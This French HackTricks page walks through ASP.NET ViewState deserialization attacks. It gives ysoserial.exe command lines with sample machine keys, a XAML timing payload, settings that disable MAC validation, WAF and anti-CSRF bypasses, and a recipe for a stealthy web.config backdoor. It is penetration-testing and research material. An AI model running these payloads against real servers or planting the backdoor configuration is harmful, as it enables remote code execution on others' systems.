24 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFTs
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.
Le contenu de ce post a été extrait de https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
Introduction
Les applications web ASP.NET utilisent ViewState pour maintenir l'état d'une page et persister les données dans un formulaire web.
Il est normalement possible d'exécuter du code sur un serveur web où un ViewState valide peut être forgé. Cela peut être fait lorsque la fonctionnalité de validation MAC a été désactivée ou en connaissant :
- La clé de validation et son algorithme avant la version 4.5 de .NET Framework
- La clé de validation, l'algorithme de validation, la clé de décryptage et l'algorithme de décryptage dans la version 4.5 ou supérieure de .NET Framework
Afin de prévenir les attaques de manipulation, .NET Framework peut signer et chiffrer le ViewState qui a été sérialisé en utilisant la classe LosFormatter
. Il vérifie ensuite la signature en utilisant le mécanisme de validation de code d'authentification de message (MAC). La classe ObjectStateFormatter
effectue les tâches de signature, de chiffrement et de vérification. Les clés requises pour effectuer le mécanisme de signature et/ou de chiffrement peuvent être stockées dans la section machineKey
des fichiers web.config
(niveau d'application) ou machine.config
(niveau de la machine). C'est généralement le cas lorsque plusieurs serveurs web sont utilisés pour servir la même application souvent derrière un équilibreur de charge dans une ferme web ou un cluster. Ce qui suit montre le format de la section machineKey
dans un fichier de configuration d'une application ASP.NET qui utilise la version 2.0 ou supérieure de .NET Framework :
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
Il convient de noter que lorsqu'une section machineKey
n'a pas été définie dans les fichiers de configuration ou lorsque les attributs validationKey
et decryptionKey
ont été définis sur AutoGenerate
, l'application génère les valeurs requises de manière dynamique en fonction d'un secret cryptographique aléatoire. Les algorithmes peuvent également être sélectionnés automatiquement. Actuellement, dans la dernière version du framework .NET, l'algorithme de validation par défaut est HMACSHA256
et l'algorithme de décryptage par défaut est AES
. Voir [13] pour plus de détails.
RCE avec validation MAC ViewState désactivée
Dans le passé, il était possible de désactiver la validation MAC simplement en définissant la propriété enableViewStateMac
sur False
. Microsoft a publié un correctif en septembre 2014 [3] pour imposer la validation MAC en ignorant cette propriété dans toutes les versions du framework .NET. Bien que certains d'entre nous puissent croire que "la validation MAC ViewState ne peut plus être désactivée" [4], il est toujours possible de désactiver la fonctionnalité de validation MAC en définissant la clé de registre AspNetEnforceViewStateMac
sur zéro dans:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
En alternative, l'ajout du paramètre dangereux suivant au fichier web.config
de niveau application peut également désactiver la validation MAC :
<configuration>
…
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
{% hint style="danger" %}
Lorsque la validation MAC de ViewState a été désactivée, le projet YSoSerial.Net peut être utilisé pour générer des charges utiles LosFormatter
en tant que ViewState afin d'exécuter du code arbitraire sur le serveur.
{% endhint %}
Avant la version 4.5 du Framework .NET, le paramètre __VIEWSTATE
pouvait être crypté alors que la fonctionnalité de validation MAC était désactivée. Il convient de noter que la plupart des scanners ne tentent pas d'envoyer un paramètre ViewState non crypté pour identifier cette vulnérabilité. Par conséquent, un test manuel est nécessaire pour vérifier si la validation MAC est désactivée lorsque le paramètre __VIEWSTATE
a été crypté. Cela peut être vérifié en envoyant une courte chaîne aléatoire en base64 dans le paramètre __VIEWSTATE
. L'URL suivante montre un exemple :
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
Si la page cible répond avec une erreur, la fonctionnalité de validation MAC a été désactivée sinon elle aurait supprimé le message d'erreur de validation MAC.
Cependant, dans les scénarios où vous ne pouvez pas voir le message d'erreur, cette astuce ne fonctionnera pas.
Les scanners automatisés devraient utiliser une charge utile qui provoque un court délai côté serveur. Cela peut être réalisé en exécutant le code ASP.NET suivant, par exemple, pour créer un délai de 10 secondes :
System.Threading.Thread.Sleep(10000);
string xaml_payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
<ObjectDataProvider.MethodParameters>
<System:Int32>10000</System:Int32>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
RCE avec validation MAC ViewState activée
Dans les anciennes versions (antérieures à 4.5), le Framework .NET utilise la propriété TemplateSourceDirectory
[15] lors de la signature d'un objet sérialisé. Cependant, depuis la version 4.5, il utilise les chaînes Purpose
pour créer le hash. Ces deux mécanismes requièrent le chemin cible à partir de la racine du répertoire de l'application et le nom de la page. Ces paramètres peuvent être extraits de l'URL.
Les applications qui utilisent un ancien framework et qui imposent le chiffrement ViewState peuvent encore accepter un ViewState signé sans chiffrement. Cela signifie que connaître la clé de validation et son algorithme est suffisant pour exploiter un site web. Il semble que ViewState soit chiffré par défaut depuis la version 4.5 même lorsque la propriété viewStateEncryptionMode
a été définie sur Never
. Cela signifie que dans les dernières versions du Framework .NET, la clé de déchiffrement et son algorithme sont également requis pour créer une charge utile.
Le ViewState ASP.NET contient une propriété appelée ViewStateUserKey
[16] qui peut être utilisée pour atténuer les risques d'attaques de falsification de requêtes intersites (CSRF) [4]. La valeur de la propriété ViewStateUserKey
(lorsqu'elle n'est pas null
) est également utilisée pendant le processus de signature ViewState. Bien que ne pas connaître la valeur de ce paramètre puisse arrêter notre attaque, sa valeur peut souvent être trouvée dans les cookies ou dans un paramètre d'entrée caché ([17] montre un exemple implémenté).
Plugins ViewState YSoSerial.Net
Dans YSoSerial.Net master et YSoSerial.Netv2, vous pouvez trouver un plugin (celui-ci et celui-ci) pour exploiter cette technique lorsque toutes les informations sont connues.
Pour .NET Framework >= 4.5:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
Pour .NET Framework <= 4.0 (héritage):
La clé de décryptage et son algorithme ne sont pas nécessaires ici:
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
A part d'utiliser différents gadgets, il est possible d'utiliser le paramètre __VIEWSTATEGENERATOR
au lieu de fournir les chemins :
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
Il utilise par défaut le gadget ActivitySurrogateSelector qui nécessite la compilation de la classe ExploitClass.cs dans le projet YSoSerial.Net. La charge utile ViewState peut également être chiffrée pour éviter les pare-feux applicatifs Web lorsque la valeur decryptionKey est connue :
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
{% hint style="info" %} Note : En raison de la nature des gadgets utilisés dans YSoSerial.Net, la page ASP.NET cible répond toujours avec une erreur même si une exploitation a été exécutée avec succès côté serveur. {% endhint %}
Chemin de l'application
Il est important de trouver la racine du chemin de l'application afin de créer un ViewState valide, sauf si :
- L'application utilise la version 4.0 ou inférieure du Framework .NET ; et
- Le paramètre
__VIEWSTATEGENERATOR
est connu.
La capture d'écran suivante montre l'arborescence des chemins dans IIS :
Vous pouvez consulter [20] si vous n'êtes pas familier avec les termes de répertoire virtuel et d'application dans IIS.
Pour générer un ViewState pour l'URL ci-dessus, les arguments --path
et --apppath
doivent être les suivants :
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/
Si nous ne savions pas que "app2" était un nom d'application, nous pourrions utiliser l'essai et l'erreur pour tester tous les noms de répertoires dans l'URL un par un jusqu'à trouver un ViewState qui peut exécuter du code sur le serveur (peut-être en obtenant une demande DNS ou en causant un délai).
Générateur
Dans ce cas, l'argument --generator
peut être utilisé. L'argument --isdebug
peut être utilisé pour vérifier si le plugin calcule également le même paramètre __VIEWSTATEGENERATOR
lorsque les arguments --path
et --apppath
ont été fournis.
Exploitation des anciennes versions
Aucun gadget n'a été identifié pour exploiter .NET Framework v1.1 au moment de la rédaction de ce billet de blog.
Pour exploiter les applications qui utilisent .NET Framework v4.0 ou inférieur, la branche YSoSerial.Net v2.0 [21] peut être utilisée (cela a été développé à l'origine dans le cadre d'une autre recherche [22]). Cependant, ce projet ne prend en charge qu'un nombre limité de gadgets et nécessite également que la boîte cible ait .NET Framework 3.5 ou une version supérieure installée.
Autres outils
Il semble qu'Immunity Canvas supporte la création du paramètre ViewState lorsque les clés de validation et de chiffrement sont connues [29]. Les outils suivants ont également été publiés par coïncidence au moment où j'allais publier mon travail, ce qui était assez surprenant :
- https://github.com/0xACB/viewgen (écrit en Python)
- https://github.com/Illuminopi/RCEvil.NET (écrit en .NET)
Je pense que ces outils ne différencient actuellement pas entre les différentes versions de .NET Framework et ciblent la cryptographie héritée. De plus, ils n'utilisent pas le paramètre ViewStateUserKey
qui pourrait être utilisé pour arrêter les attaques CSRF.
Conseils supplémentaires
Utilisation de requêtes GET
Il est également possible d'envoyer le paramètre __VIEWSTATE
dans l'URL via une requête GET. Le seul facteur limitant est la longueur de l'URL qui limite le type de gadgets qui peuvent être utilisés ici.
Chiffrement dans .NET Framework antérieur à la version 4.5
Comme mentionné précédemment, le paramètre __VIEWSTATE
n'a pas besoin d'être chiffré lors de l'exploitation de .NET Framework 4.0 et inférieur (testé sur v2.0 à v4.0) même lorsque la propriété ViewStateEncryptionMode
a été définie sur Always
. ASP.NET décide si le ViewState a été chiffré ou non en trouvant le paramètre __VIEWSTATEENCRYPTED
dans la requête (il n'a pas besoin d'avoir de valeur). Par conséquent, il est possible d'envoyer un ViewState non chiffré en supprimant le paramètre __VIEWSTATEENCRYPTED
de la requête.
Cela signifie également que le changement de la clé de déchiffrement ou de son algorithme ne peut pas arrêter les attaques lorsque la clé de validation et son algorithme ont été volés.
Le paramètre __VIEWSTATE
peut être chiffré pour contourner les WAF.
Contournement du mécanisme anti-CSRF (anti-XSRF)
Une page ASP.NET produit une erreur lorsqu'un paramètre __VIEWSTATE
invalide est utilisé. Cependant, la page peut toujours recevoir ses entrées lorsque Request.Form
est utilisé directement dans le code, par exemple en utilisant Request.Form["txtMyInput"]
plutôt que txtMyInput.Text
. L'attaque CSRF peut être réalisée en supprimant le paramètre __VIEWSTATE
de la requête ou en ajoutant le paramètre __PREVIOUSPAGE
avec une valeur invalide. Comme le paramètre __PREVIOUSPAGE
est crypté et formaté en base64 par défaut, même la fourniture d'un seul caractère comme valeur devrait provoquer une erreur.
Cela peut entraîner le contournement du mécanisme de protection anti-CSRF qui a été mis en place en définissant le paramètre Page.ViewStateUserKey
.
Utilisation du paramètre ViewStateGenerator
Lorsque le paramètre __VIEWSTATEGENERATOR
est connu, il peut être utilisé pour les applications ASP.NET qui utilisent la version .NET Framework 4.0 ou inférieure afin de signer un objet sérialisé sans connaître le chemin d'application.
Découpage du ViewState pour contourner les WAF
Il est possible de diviser le paramètre __VIEWSTATE
en plusieurs parties lorsque la propriété MaxPageStateFieldLength
a été définie sur une valeur positive. Sa valeur par défaut est négative et cela signifie que le paramètre __VIEWSTATE
ne peut pas être divisé en plusieurs parties.
Cela peut être utile pour contourner certains WAF lorsque le découpage du ViewState est autorisé.
Exploitation du paramètre EventValidation
Le paramètre __EVENTVALIDATION
et quelques autres paramètres sont également sérialisés de manière similaire au paramètre __VIEWSTATE
et peuvent être ciblés de manière similaire. L'exploitation d'un problème de désérialisation via __EVENTVALIDATION
est plus restreinte et nécessite :
- Une requête POST
- Une page ASP.NET qui accepte des paramètres d'entrée
- Un nom de paramètre d'entrée valide. Par exemple, le paramètre
myinput
dans la requête POST lorsque nous avons le code suivant côté serveur :
<asp:TextBox runat="server" ID="myinput" />
La valeur du paramètre __VIEWSTATE
peut être vide dans la requête lors de l'exploitation du paramètre __EVENTVALIDATION
, mais elle doit exister.
La chaîne Purpose
utilisée par .NET Framework 4.5 et supérieur pour créer une signature valide est différente en fonction du paramètre utilisé. Le tableau suivant montre les chaînes Purpose
définies dans .NET Framework :
Paramètre d'entrée | Chaîne Purpose |
---|---|
“__VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
“__EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
P2 dans P1|P2 dans “__dv” + ClientID + “__hidden” | WebForms.DetailsView.KeyTable |
P4 dans P1|P2|P3|P4 dans “__CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
P3 dans P1|P2|P3|P4 dans “__gv” + ClientID + “__hidden” | WebForms.GridView.SortExpression |
P4 dans P1|P2|P3|P4 dans “__gv” + ClientID + “__hidden” | WebForms.GridView.DataKeys |
Le tableau ci-dessus montre tous les paramètres d'entrée qui peuvent être ciblés.
Attention au paramètre PreviousPage
Lorsque le paramètre __PREVIOUSPAGE
existe dans la requête avec des données invalides, l'application ne désérialise pas le paramètre __VIEWSTATE
. Fournir le paramètre __CALLBACKID
empêche ce comportement.
Fiabilité des erreurs
Comme expliqué précédemment, nous utilisons parfois des erreurs pour vérifier si un ViewState généré est valide. ASP.NET n'affiche pas l'erreur de validation MAC par défaut lorsqu'un paramètre __VIEWSTATEGENERATOR
invalide est utilisé. Ce comportement change lorsque la propriété ViewStateUserKey
est utilisée, car ASP.NET ne supprime plus les erreurs de validation MAC.
En plus de cela, les applications web ASP.NET peuvent ignorer les erreurs de validation MAC avec le paramètre suivant même lorsque la propriété ViewStateUserKey
est utilisée :
<appSettings>
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>
Web.config comme une porte dérobée
Si les attaquants peuvent modifier le fichier web.config
à la racine d'une application, ils peuvent facilement exécuter du code sur le serveur. Cependant, intégrer une porte dérobée furtive dans l'application pourrait être un bon choix pour un attaquant. Cela peut être fait en désactivant la validation MAC et en définissant la propriété viewStateEncryptionMode
sur Always
. Cela signifie que toutes les pages ASP.NET qui ne définissent pas la propriété ViewStateEncryptionMode
sur Auto
ou Never
utilisent toujours des paramètres ViewState chiffrés. Cependant, comme les ViewState n'utilisent pas la fonctionnalité de validation MAC, ils sont maintenant vulnérables à l'exécution de code à distance via la désérialisation de données non fiables. L'exemple suivant montre cela:
<configuration>
…
<system.web>
…
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="false" />
</appSettings>
</configuration>
Une autre option pour un site web autonome serait de définir la section machineKey
avec des clés et des algorithmes arbitraires pour empêcher d'autres attaquants !
Il convient de noter que la définition de la propriété EnableViewState
sur False
ne permet pas d'arrêter cette attaque car le ViewState sera toujours analysé par ASP.NET.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFTs
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.